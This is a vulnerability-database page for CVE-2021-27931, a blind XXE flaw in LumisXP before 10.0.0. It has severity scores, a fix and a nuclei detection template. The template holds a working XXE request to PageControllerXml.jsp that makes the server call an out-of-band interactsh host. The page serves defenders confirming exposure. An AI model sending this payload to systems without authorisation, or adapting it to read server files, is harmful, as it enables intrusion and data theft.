HexBrain

Browse / CVEs / CVE-2021-27931

CVE-2021-27931· lumis / lumis experience platform· CWE-611

LumisXP <10.0.0 - Blind XML External Entity Attack

criticalseverity
9.1CVSS score
18.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.

Fix

Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.

How to confirm it

Send: POST /lumis/portal/controller/xml/PageControllerXml.jsp
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2021-27931 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-27931

info:
  name: LumisXP <10.0.0 - Blind XML External Entity Attack
  author: alph4byt3
  severity: critical
  description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.
  remediation: |
    Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
  reference:
    - https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27931
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-27931
    cwe-id: CWE-611
    epss-score: 0.18132
    epss-percentile: 0.97225
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve2021,cve,lumis,xxe,oast,blind,vkev,vuln

http:
  - raw:
      - |
        POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" ?>
        <!DOCTYPE r [
        <!ELEMENT r ANY >
        <!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
        ]>
        <method name="addPage">
        <id>&xxe;</id>
        </method>

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from